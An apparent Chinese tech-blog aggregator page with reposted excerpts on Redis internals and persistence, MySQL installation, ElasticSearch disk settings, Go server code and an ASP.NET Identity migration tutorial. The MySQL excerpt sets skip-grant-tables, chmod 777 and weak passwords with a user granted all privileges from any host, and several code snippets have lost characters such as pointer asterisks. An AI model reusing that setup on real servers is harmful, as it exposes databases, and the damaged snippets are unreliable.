block 的状态。 为了解决阻塞的问题,我们有几个思路。 1、在服务端创建多个线程或者使用线程池,但是在高并发的情况下需要的线程会很多,系统无法承受,而且创建和释放线程都需要消耗资源。 2、由请求方定期轮询,在数据准备完毕后再从内核缓存缓冲区复制数据到用户空间 (非阻塞式 I/O),这种方式会存在一定的延迟。 能不能用一个线程处理多个客户端请求? 4.4.8 I/O 多路复用(I/O Multiplexing) I/O 指的是网络 I/O。 多路指的是多个 TCP 连接(Socket 或 Channel)。 复用指的是复用一个或多个线程。它的基本原理就是不再由应用程序自己监视连接,而是由内核替应用程序监视文件描述符。 客户端在操作的时候,会产生具有不同事件类型的 socket。在服务端,I/O 多路复用程序(I/O Multiplexing Module)会把消息放入队列中,然后通过文件事件分派器(File event Dispatcher),转发到不同的事件处理器中。 多路复用有很多的实现,以 select 为例,当用户进程调用了多路复用器,进程会被阻塞。内核会监视多路复用器负责的所有 socket,当任何一个 socket 的数据准备好了,多路复用器就会返回。这时候用户进程再调用 read 操作,把数据从内核缓冲区拷贝到用户空间。 所以,I/O 多路复用的特点是通过一种机制一个进程能同时等待多个文件描述符,而这些文件描述符(套接字描述符)其中的任意一个进入读就绪(readable)状态,select() 函数就可以返回。 Redis 的多路复用, 提供了 select, epoll, evport, kqueue 几种选择,在编译的时 候来选择一种。 evport 是 Solaris 系统内核提供支持的; epoll 是 LINUX 系统内核提供支持的; kqueue 是 Mac 系统提供支持的; select 是 POSIX 提供的,一般的操作系统都有支撑(保底方案); 源码 ae_epoll.c、ae_select.c、ae_kqueue.c、ae_evport.c 5、内存回收 Reids 所有的数据都是存储在内存中的,在某些情况下需要对占用的内存空间进行回 收。内存回收主要分为两类,一类是 key 过期,一类是内存使用达到上限(max_memory) 触发内存淘汰。 5.1 过期策略 要实现 key 过期,我们有几种思路。 5.1.1 定时过期(主动淘汰) 每个设置过期时间的 key 都需要创建一个定时器,到过期时间就会立即清除。该策略可以立即清除过期的数据,对内存很友好;但是会占用大量的 CPU 资源去处理过期的 数据,从而影响缓存的响应时间和吞吐量。 5.1.2 惰性过期(被动淘汰) 只有当访问一个 key 时,才会判断该 key 是否已过期,过期则清除。该策略可以最大化地节省 CPU 资源,却对内存非常不友好。极端情况可能出现大量的过期 key 没有再次被访问,从而不会被清除,占用大量内存。 例如 String,在 getCommand 里面会调用 expireIfNeeded server.c expireIfNeeded(redisDb db, robj key) 第二种情况,每次写入 key 时,发现内存不够,调用 activeExpireCycle 释放一部分内存。 expire.c activeExpireCycle(int type) 5.1.3 定期过期 源码:server.h typedef struct redisDb { dict dict; / 所有的键值对 /dict expires; / 设置了过期时间的键值对 /dict blocking_keys; dict ready_keys; dict watched_keys; int id;long long avg_ttl;list defrag_later; } redisDb; 每隔一定的时间,会扫描一定数量的数据库的 expires 字典中一定数量的 key,并清除其中已过期的 key。该策略是前两者的一个折中方案。通过调整定时扫描的时间间隔和每次扫描的限定耗时,可以在不同情况下使得 CPU 和内存资源达到最优的平衡效果。 Redis 中同时使用了惰性过期和定期过期两种过期策略。 5.2 淘汰策略 Redis 的内存淘汰策略,是指当内存使用达到最大内存极限时,需要使用淘汰算法来决定清理掉哪些数据,以保证新数据的存入。 5.2.1 最大内存设置 redis.conf 参数配置: maxmemory <bytes> 如果不设置 maxmemory 或者设置为 0,64 位系统不限制内存,32 位系统最多使用 3GB 内存。 动态修改: redis> config set maxmemory 2GB 到达最大内存以后怎么办? 5.2.2 淘汰策略 https://redis.io/topics/lru-cache redis.conf maxmemory-policy noeviction 先从算法来看: LRU,Least Recently Used:最近最少使用。判断最近被使用的时间,目前最远的数据优先被淘汰。 LFU,Least Frequently Used,最不常用,4.0 版本新增。 random,随机删除。 如果没有符合前提条件的 key 被淘汰,那么 volatile-lru、volatile-random、 volatile-ttl 相当于 noeviction(不做内存回收)。 动态修改淘汰策略: redis> config set maxmemory-policy volatile-lru 建议使用 volatile-lru,在保证正常服务的情况下,优先删除最近最少使用的 key。 5.2.3 LRU 淘汰原理 问题:如果基于传统 LRU 算法实现 Redis LRU 会有什么问题? 需要额外的数据结构存储,消耗内存。 Redis LRU 对传统的 LRU 算法进行了改良,通过随机采样来调整算法的精度。如果淘汰策略是 LRU,则根据配置的采样值 maxmemory_samples(默认是 5 个), 随机从数据库中选择 m 个 key, 淘汰其中热度最低的 key 对应的缓存数据。所以采样参数m配置的数值越大, 就越能精确的查找到待淘汰的缓存数据,但是也消耗更多的CPU计算,执行效率降低。 问题:如何找出热度最低的数据? Redis 中所有对象结构都有一个 lru 字段, 且使用了 unsigned 的低 24 位,这个字段用来记录对象的热度。对象被创建时会记录 lru 值。在被访问的时候也会更新 lru 的值。 但是不是获取系统当前的时间戳,而是设置为全局变量 server.lruclock 的值。 源码:server.h typedef struct redisObject {unsigned type:4;unsigned encoding:4;unsigned lru:LRU_BITS;int refcount;void ptr; } robj; server.lruclock 的值怎么来的? Redis 中有个定时处理的函数 serverCron,默认每 100 毫秒调用函数 updateCachedTime 更新一次全局变量的 server.lruclock 的值,它记录的是当前 unix 时间戳。 源码:server.c void updateCachedTime(void) { time_t unixtime = time(NULL); atomicSet(server.unixtime,unixtime); server.mstime = mstime();struct tm tm; localtime_r(&server.unixtime,&tm);server.daylight_active = tm.tm_isdst; } 问题:为什么不获取精确的时间而是放在全局变量中?不会有延迟的问题吗? 这样函数 lookupKey 中更新数据的 lru 热度值时,就不用每次调用系统函数 time,可以提高执行效率。 OK,当对象里面已经有了 LRU 字段的值,就可以评估对象的热度了。 函数 estimateObjectIdleTime 评估指定对象的 lru 热度,思想就是对象的 lru 值和全局的 server.lruclock 的差值越大(越久没有得到更新),该对象热度越低。 源码 evict.c / Given an object returns the min number of milliseconds the object was never requested, using an approximated LRU algorithm. /unsigned long long estimateObjectIdleTime(robj o) {unsigned long long lruclock = LRU_CLOCK(); if (lruclock >= o->lru) {return (lruclock - o->lru) LRU_CLOCK_RESOLUTION; } else {return (lruclock + (LRU_CLOCK_MAX - o->lru)) LRU_CLOCK_RESOLUTION;} } server.lruclock 只有 24 位,按秒为单位来表示才能存储 194 天。当超过 24bit 能表 示的最大时间的时候,它会从头开始计算。 server.h define LRU_CLOCK_MAX ((1<<LRU_BITS)-1) / Max value of obj->lru / 在这种情况下,可能会出现对象的 lru 大于 server.lruclock 的情况,如果这种情况 出现那么就两个相加而不是相减来求最久的 key。 为什么不用常规的哈希表+双向链表的方式实现?需要额外的数据结构,消耗资源。而 Redis LRU 算法在 sample 为 10 的情况下,已经能接近传统 LRU 算法了。 问题:除了消耗资源之外,传统 LRU 还有什么问题? 如图,假设 A 在 10 秒内被访问了 5 次,而 B 在 10 秒内被访问了 3 次。因为 B 最后一次被访问的时间比 A 要晚,在同等的情况下,A 反而先被回收。 问题:要实现基于访问频率的淘汰机制,怎么做? 5.2.4 LFU server.h typedef struct redisObject {unsigned type:4;unsigned encoding:4;unsigned lru:LRU_BITS;int refcount;void ptr; } robj; 当这 24 bits 用作 LFU 时,其被分为两部分: 高 16 位用来记录访问时间(单位为分钟,ldt,last decrement time) 低 8 位用来记录访问频率,简称 counter(logc,logistic counter) counter 是用基于概率的对数计数器实现的,8 位可以表示百万次的访问频率。 对象被读写的时候,lfu 的值会被更新。 db.c——lookupKey void updateLFU(robj val) {unsigned long counter = LFUDecrAndReturn(val); counter = LFULogIncr(counter);val->lru = (LFUGetTimeInMinutes()<<8) | counter;} 增长的速率由,lfu-log-factor 越大,counter 增长的越慢 redis.conf 配置文件。 lfu-log-factor 10 如果计数器只会递增不会递减,也不能体现对象的热度。没有被访问的时候,计数器怎么递减呢? 减少的值由衰减因子 lfu-decay-time(分钟)来控制,如果值是 1 的话,N 分钟没有访问就要减少 N。 redis.conf 配置文件 lfu-decay-time 1 6、持久化机制 https://redis.io/topics/persistence Redis 速度快,很大一部分原因是因为它所有的数据都存储在内存中。如果断电或者宕机,都会导致内存中的数据丢失。为了实现重启后数据不丢失,Redis 提供了两种持久化的方案,一种是 RDB 快照(Redis DataBase),一种是 AOF(Append Only File)。 6.1 RDB RDB 是 Redis 默认的持久化方案。当满足一定条件的时候,会把当前内存中的数据写入磁盘,生成一个快照文件 dump.rdb。Redis 重启会通过加载 dump.rdb 文件恢复数据。 什么时候写入 rdb 文件? 6.1.1 RDB 触发 1、自动触发 a)配置规则触发。 redis.conf, SNAPSHOTTING,其中定义了触发把数据保存到磁盘的触发频率。 如果不需要 RDB 方案,注释 save 或者配置成空字符串""。 save 900 1 900 秒内至少有一个 key 被修改(包括添加) save 300 10 400 秒内至少有 10 个 key 被修改save 60 10000 60 秒内至少有 10000 个 key 被修改 注意上面的配置是不冲突的,只要满足任意一个都会触发。 RDB 文件位置和目录: 文件路径,dir ./ 文件名称dbfilename dump.rdb 是否是LZF压缩rdb文件 rdbcompression yes 开启数据校验 rdbchecksum yes 问题:为什么停止 Redis 服务的时候没有 save,重启数据还在? RDB 还有两种触发方式: b)shutdown 触发,保证服务器正常关闭。 c)flushall,RDB 文件是空的,没什么意义(删掉 dump.rdb 演示一下)。 2、手动触发 如果我们需要重启服务或者迁移数据,这个时候就需要手动触 RDB 快照保存。Redis 提供了两条命令: a)save save 在生成快照的时候会阻塞当前 Redis 服务器, Redis 不能处理其他命令。如果内存中的数据比较多,会造成 Redis 长时间的阻塞。生产环境不建议使用这个命令。 为了解决这个问题,Redis 提供了第二种方式。 执行 bgsave 时,Redis 会在后台异步进行快照操作,快照同时还可以响应客户端请求。 具体操作是 Redis 进程执行 fork 操作创建子进程(copy-on-write),RDB 持久化过程由子进程负责,完成后自动结束。它不会记录 fork 之后后续的命令。阻塞只发生在 fork 阶段,一般时间很短。 用 lastsave 命令可以查看最近一次成功生成快照的时间。 6.1.2 RDB 数据的恢复(演示) 1、shutdown 持久化添加键值 添加键值 redis> set k1 1 redis> set k2 2 redis> set k3 3 redis> set k4 4 redis> set k5 5 停服务器,触发 save redis> shutdown 备份 dump.rdb 文件 cp dump.rdb dump.rdb.bak 启动服务器 /usr/local/soft/redis-5.0.5/src/redis-server /usr/local/soft/redis-5.0.5/redis.conf 啥都没有: redis> keys 3、通过备份文件恢复数据停服务器 redis> shutdown 重命名备份文件 mv dump.rdb.bak dump.rdb 启动服务器 /usr/local/soft/redis-5.0.5/src/redis-server /usr/local/soft/redis-5.0.5/redis.conf 查看数据 redis> keys 6.1.3 RDB 文件的优势和劣势 一、优势 1.RDB 是一个非常紧凑(compact)的文件,它保存了 redis 在某个时间点上的数据集。这种文件非常适合用于进行备份和灾难恢复。 2.生成 RDB 文件的时候,redis 主进程会 fork()一个子进程来处理所有保存工作,主进程不需要进行任何磁盘 IO 操作。 3.RDB 在恢复大数据集时的速度比 AOF 的恢复速度要快。 二、劣势 1、RDB 方式数据没办法做到实时持久化/秒级持久化。因为 bgsave 每次运行都要执行 fork 操作创建子进程,频繁执行成本过高。 2、在一定间隔时间做一次备份,所以如果 redis 意外 down 掉的话,就会丢失最后一次快照之后的所有修改(数据有丢失)。 如果数据相对来说比较重要,希望将损失降到最小,则可以使用 AOF 方式进行持久化。 6.2 AOF Append Only File AOF:Redis 默认不开启。AOF 采用日志的形式来记录每个写操作,并追加到文件中。开启后,执行更改 Redis 数据的命令时,就会把命令写入到 AOF 文件中。 Redis 重启时会根据日志文件的内容把写指令从前到后执行一次以完成数据的恢复工作。 6.2.1 AOF 配置 配置文件 redis.conf 开关appendonly no 文件名appendfilename "appendonly.aof" AOF 文件的内容(vim 查看): 问题:数据都是实时持久化到磁盘吗? 由于操作系统的缓存机制,AOF 数据并没有真正地写入硬盘,而是进入了系统的硬盘缓存。什么时候把缓冲区的内容写入到 AOF 文件? 问题:文件越来越大,怎么办? 由于 AOF 持久化是 Redis 不断将写命令记录到 AOF 文件中,随着 Redis 不断的进行,AOF 的文件会越来越大,文件越大,占用服务器内存越大以及 AOF 恢复要求时间越长。 例如 set xxx 666,执行 1000 次,结果都是 xxx=666。 为了解决这个问题,Redis 新增了重写机制,当 AOF 文件的大小超过所设定的阈值时,Redis 就会启动 AOF 文件的内容压缩,只保留可以恢复数据的最小指令集。 可以使用命令 bgrewriteaof 来重写。 AOF 文件重写并不是对原文件进行重新整理,而是直接读取服务器现有的键值对,然后用一条命令去代替之前记录这个键值对的多条命令,生成一个新的文件后去替换原来的 AOF 文件。 重写触发机制 auto-aof-rewrite-percentage 100 auto-aof-rewrite-min-size 64mb 问题:重写过程中,AOF 文件被更改了怎么办? 另外有两个与 AOF 相关的参数: 6.2.2 AOF 数据恢复 重启 Redis 之后就会进行 AOF 文件的恢复。 6.2.3 AOF 优势与劣势 优点: 1、AOF 持久化的方法提供了多种的同步频率,即使使用默认的同步频率每秒同步一次,Redis 最多也就丢失 1 秒的数据而已。 缺点: 1、对于具有相同数据的的 Redis,AOF 文件通常会比 RDB 文件体积更大(RDB 存的是数据快照)。 2、虽然 AOF 提供了多种同步的频率,默认情况下,每秒同步一次的频率也具有较高的性能。在高并发的情况下,RDB 比 AOF 具好更好的性能保证。 6.3 两种方案比较 那么对于 AOF 和 RDB 两种持久化方式,我们应该如何选择呢? 如果可以忍受一小段时间内数据的丢失,毫无疑问使用 RDB 是最好的,定时生成 RDB 快照(snapshot)非常便于进行数据库备份, 并且 RDB 恢复数据集的速度也要比 AOF 恢复的速度要快。 否则就使用 AOF 重写。但是一般情况下建议不要单独使用某一种持久化机制,而是应该两种一起用,在这种情况下,当 redis 重启的时候会优先载入 AOF 文件来恢复原始的数据,因为在通常情况下 AOF 文件保存的数据集要比 RDB 文件保存的数据集要完整。 本篇文章为转载内容。原文链接:https://blog.csdn.net/zhoutaochun/article/details/120075092。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-03-18 12:25:04
541
转载
转载文章
...afe]\nlog-error=/var/lib/mysql/log/mysql.log\npid-file=/var/lib/mysql/run/mysqld.pid\n\n[mysqldump]\nquick\n\n[mysql]\nno-auto-rehash\n\n[client]\nport=3306\nmax_allowed_packet=64M\ndefault-character-set=utf8\n\n[mysqld]\nuser=root\nport=3306\nbasedir=/usr/local/mysql\nsocket=/var/lib/mysql/run/mysql.sock\ntmpdir=/var/lib/mysql/tmp\ndatadir=/var/lib/mysql/data\ndefault_authentication_plugin=mysql_native_password\nskip-grant-tables\nkey_buffer_size=16M" > /etc/my.cnfcat /etc/my.cnf // 查看文件内容chown mysql:mysql /etc/my.cnf // 将该文件的所有者及群组 都设为 mysqlll /etc/my.cnfchmod 777 /usr/local/mysql/support-files/mysql.server //对mysql.server的所有者,群组,其他用户设置读,写,执行,权限cp /usr/local/mysql/support-files/mysql.server /etc/init.d/mysqlchkconfig mysql on // 开机自动启动chown -R mysql:mysql /etc/init.d/mysqlvi /etc/profile // 把 export PATH=$PATH:/usr/local/mysql/bin 放到文件尾端,设置环境变量source /etc/profile // 重新执行刚修改的文件,使之立即生效env // 显示系统的环境变量mysqld --defaults-file=/etc/my.cnf --initializechown -R mysql:mysql /var/lib/mysql/datall /var/lib/mysql/dataservice mysql startservice mysql status // 查看服务状态ps -ef | grep mysqlnetstat -anptnetstat -anpt | grep mysqlnetstat -anpt | grep 3306 显示有关mysql的进程mysql -u root -p -S /var/lib/mysql/run/mysql.sock // 输入密码进入到了mysqlalter user 'root'@'localhost' identified by "123456";flush privileges;create user 'user'@'%' identified by '123456';grant all privileges on . to 'user'@'%' with grant option;flush privileges;select user,host from mysql.user; service mysql stop 停止服务\q回到命令行vi /etc/ld.so.confldconfig 搜索出可共享的动态链接库(格式如lib.so),进而创建出动态装入程序(ld.so)所需的连接和缓存文件。缓存文件默认为/etc/ld.so.cacheln -s /var/ldconfiglib/mysql/run/mysql.sock /tmp/mysql.sock 建立软连接 service 和 chkconfig 都可以用 systemctl 来代替 遇到 Can’t connect to local MySQL server through socket ‘/tmp/mysql.sock’ (2) service mysql stop // 先停用ln -s /var/lib/mysql/mysql.sock /tmp/mysql.sock // 建立软连接vi /etc/my.cnf // 修改里面的 socket 路径service mysql start // 重启 Linux chmod 命令 Linux文件的所有者、群组和其他人 本篇文章为转载内容。原文链接:https://blog.csdn.net/qq_53318060/article/details/121664128。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-05-24 19:00:46
119
转载
ElasticSearch
... 1 sudo resize2fs /dev/xvda1 完成后记得重启ElasticSearch服务: bash sudo systemctl restart elasticsearch 重启之后,神奇的事情发生了——我的节点重新上线了!不过这里有个小技巧分享给大家:如果你不确定扩容是否成功,可以通过以下命令检查磁盘使用情况: bash df -h 看到磁盘空间变大了,心里顿时舒坦了不少。 --- 4. 解决方案二 调整ElasticSearch配置 当然啦,仅仅扩容还不够,还需要优化ElasticSearch的配置文件。特别是那些容易导致内存不足或磁盘占用过高的参数,比如indices.memory.index_buffer_size和indices.store.throttle.max_bytes_per_sec。修改后的配置文件大概长这样: yaml cluster.routing.allocation.disk.threshold_enabled: true cluster.routing.allocation.disk.watermark.low: 85% cluster.routing.allocation.disk.watermark.high: 90% cluster.routing.allocation.disk.watermark.flood_stage: 95% cluster.info.update.interval: 30s 这些设置的意思是告诉ElasticSearch,当磁盘使用率达到85%时开始警告,达到90%时限制写入,超过95%时完全停止操作。这样可以有效避免再次出现类似的问题。 --- 5. 实战演练 代码中的应对策略 除了调整配置,我们还可以通过编写脚本来监控和处理NodeNotActiveException。比如,下面这段Java代码展示了如何捕获异常并记录日志: java import org.elasticsearch.client.RestHighLevelClient; import org.elasticsearch.client.RestClient; import org.elasticsearch.client.indices.CreateIndexRequest; import org.elasticsearch.client.indices.CreateIndexResponse; public class ElasticSearchExample { public static void main(String[] args) { RestHighLevelClient client = new RestHighLevelClient(RestClient.builder(new HttpHost("localhost", 9200, "http"))); try { CreateIndexRequest request = new CreateIndexRequest("test_index"); CreateIndexResponse response = client.indices().create(request, RequestOptions.DEFAULT); System.out.println("Index created: " + response.isAcknowledged()); } catch (Exception e) { if (e instanceof ClusterBlockException) { System.err.println("Cluster block detected: " + e.getMessage()); } else { System.err.println("Unexpected error: " + e.getMessage()); } } finally { try { client.close(); } catch (IOException ex) { System.err.println("Failed to close client: " + ex.getMessage()); } } } } 这段代码的作用是在创建索引时捕获可能发生的异常,并根据异常类型采取不同的处理方式。如果遇到ClusterBlockException,我们可以选择延迟重试或者其他补偿措施。 --- 6. 总结与反思 成长路上的一课 通过这次经历,我深刻体会到,作为一名开发者,不仅要掌握技术细节,还要学会从实际问题出发,找到最优解。NodeNotActiveException这个错误看着不起眼,但其实背后有不少门道呢!比如说,你的服务器硬件是不是有点吃不消了?集群那边有没有啥小毛病没及时发现?还有啊,咱们平时运维的时候是不是也有点松懈了?这些都是得好好琢磨的地方! 最后,我想说的是,技术学习的过程就像爬山一样,有时候会遇到陡峭的山坡,但只要坚持下去,总能看到美丽的风景。希望这篇文章能给大家带来一些启发和帮助!如果还有其他疑问,欢迎随时交流哦~
2025-03-14 15:40:13
64
林中小径
Golang
...最直接的方法就是尽量避免频繁的小对象分配。比如,我们可以复用一些常见的结构体,而不是每次都新建它们: go type Buffer struct { data []byte } func NewBuffer(size int) Buffer { return &Buffer{data: make([]byte, size)} } func (b Buffer) Reset() { b.data = b.data[:0] } func main() { buf := NewBuffer(1024) for i := 0; i < 100; i++ { buf.Reset() // 使用buf... } } 在这个例子中,我们通过Reset()方法复用了同一个Buffer实例,而不是每次都调用make([]byte, size)重新创建一个新的切片。这样可以显著降低GC的压力。 --- 4. 网络优化 TCP/IP的实战 再来说说网络优化。Go的net包提供了强大的网络编程支持,无论是HTTP、WebSocket还是普通的TCP/UDP,都能轻松搞定。特别是对那些高性能服务器而言,怎么才能又快又稳地搞定海量连接,这简直就是一个绕不开的大难题啊! 举个例子,假设我们要实现一个简单的HTTP长连接服务器。传统的做法可能是监听端口,然后逐个处理请求。但这种方式效率不高,特别是在高并发场景下。Go提供了一个更好的解决方案——使用net/http包的Serve方法: go package main import ( "log" "net/http" ) func handler(w http.ResponseWriter, r http.Request) { w.Write([]byte("Hello, World!")) } func main() { http.HandleFunc("/", handler) log.Fatal(http.ListenAndServe(":8080", nil)) } 这段代码看起来很简单,但它实际上已经具备了处理大量并发连接的能力。为啥呢?就是因为Go语言里的http.Server自带了一个超级能打的“工具箱”,里面有个高效的连接池和请求队列,遇到高并发的情况时,它就能像一个经验丰富的老司机一样,把各种请求安排得明明白白,妥妥地hold住场面! 当然,如果你想要更底层的控制,也可以直接使用net包来编写TCP服务器。比如下面这个简单的TCP回显服务器: go package main import ( "bufio" "fmt" "net" ) func handleConnection(conn net.Conn) { defer conn.Close() reader := bufio.NewReader(conn) for { message, err := reader.ReadString('\n') if err != nil { fmt.Println("Error reading:", err) break } fmt.Print("Received:", message) conn.Write([]byte(message)) } } func main() { listener, err := net.Listen("tcp", ":8080") if err != nil { fmt.Println("Error listening:", err) return } defer listener.Close() fmt.Println("Listening on :8080...") for { conn, err := listener.Accept() if err != nil { fmt.Println("Error accepting:", err) continue } go handleConnection(conn) } } 在这个例子中,我们通过listener.Accept()不断接受客户端连接,并为每个连接启动一个协程来处理请求。这种模式非常适合处理大量短连接的场景。 --- 5. 代码结构 模块化与可扩展性 最后,我们来聊聊代码结构。一个高性能的服务器不仅仅依赖于语言特性,还需要良好的设计思路。Go语言特别推崇把程序分成小块儿来写,就像搭积木一样,每个功能都封装成独立的小模块或包。这样不仅修 bug 的时候方便找问题,写代码的时候也更容易看懂,以后想加新功能啥的也简单多了。 比如,假设我们要开发一个分布式任务调度系统,可以按照以下方式组织代码: go // tasks.go package task type Task struct { ID string Name string Param interface{} } func NewTask(id, name string, param interface{}) Task { return &Task{ ID: id, Name: name, Param: param, } } // scheduler.go package scheduler import "task" type Scheduler struct { tasks []task.Task } func NewScheduler() Scheduler { return &Scheduler{ tasks: make([]task.Task, 0), } } func (s Scheduler) AddTask(t task.Task) { s.tasks = append(s.tasks, t) } func (s Scheduler) Run() { for _, t := range s.tasks { fmt.Printf("Executing task %s\n", t.Name) // 执行任务逻辑... } } 通过这种方式,我们将任务管理和调度逻辑分离出来,使得代码更加清晰易懂。同时,这样的设计也方便未来扩展新的功能,比如添加日志记录、监控指标等功能。 --- 6. 总结与展望 好了,到这里咱们就差不多聊完了如何用Go语言进行高性能服务器开发。说实话,写着这篇文章的时候,我脑海里突然蹦出大学时那股子钻研劲儿,感觉就像重新回到那些熬夜敲代码的日子了,整个人都热血上头!Go这门语言真的太带感了,简单到没话说,效率还超高,稳定性又好得没话说,简直就是程序员的救星啊! 不过,我也想提醒大家一句:技术再好,最终还是要服务于业务需求。不管你用啥法子、说啥话,老老实实问问自己:“这招到底管不管用?是不是真的解决问题了?”这才是真本事! 希望这篇文章对你有所帮助,如果你有任何疑问或者想法,欢迎随时留言讨论!让我们一起继续探索Go的无限可能吧!
2025-04-23 15:46:59
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桃李春风一杯酒
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...te()辅助器方法来避免创建重复的种子数据//// context.People.AddOrUpdate(// p => p.FullName,// new Person { FullName = "Andrew Peters" },// new Person { FullName = "Brice Lambson" },// new Person { FullName = "Rowan Miller" }// );//} }} Tip You might be wondering why you are entering a database migration command into the console used to manage NuGet packages. The answer is that the Package Manager Console is really PowerShell, which is a general-purpose tool that is mislabeled by Visual Studio. You can use the console to issue a wide range of helpful commands. See http://go.microsoft.com/fwlink/?LinkID=108518 for details. 提示:你可能会觉得奇怪,为什么要在管理NuGet包的控制台中输入数据库迁移的命令?答案是“Package Manager Console(包管理控制台)”是真正的PowerShell,这是Visual studio冒用的一个通用工具。你可以使用此控制台发送大量的有用命令,详见http://go.microsoft.com/fwlink/?LinkID=108518。 The class will be used to migrate existing content in the database to the new schema, and the Seed method will be called to provide an opportunity to update the existing database records. In Listing 15-5, you can see how I have used the Seed method to set a default value for the new City property I added to the AppUser class. (I have also updated the class file to reflect my usual coding style.) 这个类将用于把数据库中的现有内容迁移到新的数据库架构,Seed方法的调用为更新现有数据库记录提供了机会。在清单15-5中可以看到,我如何用Seed方法为新的City属性设置默认值,City是添加到AppUser类中自定义属性。(为了体现我一贯的编码风格,我对这个类文件也进行了更新。) Listing 15-5. Managing Existing Content in the Configuration.cs File 清单15-5. 在Configuration.cs文件中管理已有内容 using System.Data.Entity.Migrations;using Microsoft.AspNet.Identity;using Microsoft.AspNet.Identity.EntityFramework;using Users.Infrastructure;using Users.Models;namespace Users.Migrations {internal sealed class Configuration: DbMigrationsConfiguration<AppIdentityDbContext> {public Configuration() {AutomaticMigrationsEnabled = true;ContextKey = "Users.Infrastructure.AppIdentityDbContext";}protected override void Seed(AppIdentityDbContext context) {AppUserManager userMgr = new AppUserManager(new UserStore<AppUser>(context));AppRoleManager roleMgr = new AppRoleManager(new RoleStore<AppRole>(context)); string roleName = "Administrators";string userName = "Admin";string password = "MySecret";string email = "admin@example.com";if (!roleMgr.RoleExists(roleName)) {roleMgr.Create(new AppRole(roleName));}AppUser user = userMgr.FindByName(userName);if (user == null) {userMgr.Create(new AppUser { UserName = userName, Email = email },password);user = userMgr.FindByName(userName);}if (!userMgr.IsInRole(user.Id, roleName)) {userMgr.AddToRole(user.Id, roleName);}foreach (AppUser dbUser in userMgr.Users) {dbUser.City = Cities.PARIS;}context.SaveChanges();} }} You will notice that much of the code that I added to the Seed method is taken from the IdentityDbInit class, which I used to seed the database with an administration user in Chapter 14. This is because the new Configuration class added to support database migrations will replace the seeding function of the IdentityDbInit class, which I’ll update shortly. Aside from ensuring that there is an admin user, the statements in the Seed method that are important are the ones that set the initial value for the City property I added to the AppUser class, as follows: 你可能会注意到,添加到Seed方法中的许多代码取自于IdentityDbInit类,在第14章中我用这个类将管理用户植入了数据库。这是因为这个新添加的、用以支持数据库迁移的Configuration类,将代替IdentityDbInit类的种植功能,我很快便会更新这个类。除了要确保有admin用户之外,在Seed方法中的重要语句是那些为AppUser类的City属性设置初值的语句,如下所示: ...foreach (AppUser dbUser in userMgr.Users) { dbUser.City = Cities.PARIS;}context.SaveChanges();... You don’t have to set a default value for new properties—I just wanted to demonstrate that the Seed method in the Configuration class can be used to update the existing user records in the database. 你不一定要为新属性设置默认值——这里只是想演示Configuration类中的Seed方法,可以用它更新数据库中的已有用户记录。 Caution Be careful when setting values for properties in the Seed method for real projects because the values will be applied every time you change the schema, overriding any values that the user has set since the last schema update was performed. I set the value of the City property just to demonstrate that it can be done. 警告:在用于真实项目的Seed方法中为属性设置值时要小心,因为你每一次修改架构时,都会运用这些值,这会将自执行上一次架构更新之后,用户设置的任何数据覆盖掉。这里设置City属性的值只是为了演示它能够这么做。 Changing the Database Context Class 修改数据库上下文类 The reason that I added the seeding code to the Configuration class is that I need to change the IdentityDbInit class. At present, the IdentityDbInit class is derived from the descriptively named DropCreateDatabaseIfModelChanges<AppIdentityDbContext> class, which, as you might imagine, drops the entire database when the Code First classes change. Listing 15-6 shows the changes I made to the IdentityDbInit class to prevent it from affecting the database. 在Configuration类中添加种植代码的原因是我需要修改IdentityDbInit类。此时,IdentityDbInit类派生于描述性命名的DropCreateDatabaseIfModelChanges<AppIdentityDbContext> 类,和你相像的一样,它会在Code First类改变时删除整个数据库。清单15-6显示了我对IdentityDbInit类所做的修改,以防止它影响数据库。 Listing 15-6. Preventing Database Schema Changes in the AppIdentityDbContext.cs File 清单15-6. 在AppIdentityDbContext.cs文件是阻止数据库架构变化 using System.Data.Entity;using Microsoft.AspNet.Identity.EntityFramework;using Users.Models;using Microsoft.AspNet.Identity; namespace Users.Infrastructure {public class AppIdentityDbContext : IdentityDbContext<AppUser> {public AppIdentityDbContext() : base("IdentityDb") { }static AppIdentityDbContext() {Database.SetInitializer<AppIdentityDbContext>(new IdentityDbInit());}public static AppIdentityDbContext Create() {return new AppIdentityDbContext();} } public class IdentityDbInit : NullDatabaseInitializer<AppIdentityDbContext> {} } I have removed the methods defined by the class and changed its base to NullDatabaseInitializer<AppIdentityDbContext> , which prevents the schema from being altered. 我删除了这个类中所定义的方法,并将它的基类改为NullDatabaseInitializer<AppIdentityDbContext> ,它可以防止架构修改。 15.2.3 Performing the Migration 15.2.3 执行迁移 All that remains is to generate and apply the migration. First, run the following command in the Package Manager Console: 剩下的事情只是生成并运用迁移了。首先,在“Package Manager Console(包管理器控制台)”中执行以下命令: Add-Migration CityProperty This creates a new migration called CityProperty (I like my migration names to reflect the changes I made). A class new file will be added to the Migrations folder, and its name reflects the time at which the command was run and the name of the migration. My file is called 201402262244036_CityProperty.cs, for example. The contents of this file contain the details of how Entity Framework will change the database during the migration, as shown in Listing 15-7. 这创建了一个名称为CityProperty的新迁移(我比较喜欢让迁移的名称反映出我所做的修改)。这会在文件夹中添加一个新的类文件,而且其命名会反映出该命令执行的时间以及迁移名称,例如,我的这个文件名称为201402262244036_CityProperty.cs。该文件的内容含有迁移期间Entity Framework修改数据库的细节,如清单15-7所示。 Listing 15-7. The Contents of the 201402262244036_CityProperty.cs File 清单15-7. 201402262244036_CityProperty.cs文件的内容 namespace Users.Migrations {using System;using System.Data.Entity.Migrations; public partial class Init : DbMigration {public override void Up() {AddColumn("dbo.AspNetUsers", "City", c => c.Int(nullable: false));}public override void Down() {DropColumn("dbo.AspNetUsers", "City");} }} The Up method describes the changes that have to be made to the schema when the database is upgraded, which in this case means adding a City column to the AspNetUsers table, which is the one that is used to store user records in the ASP.NET Identity database. Up方法描述了在数据库升级时,需要对架构所做的修改,在这个例子中,意味着要在AspNetUsers数据表中添加City数据列,该数据表是ASP.NET 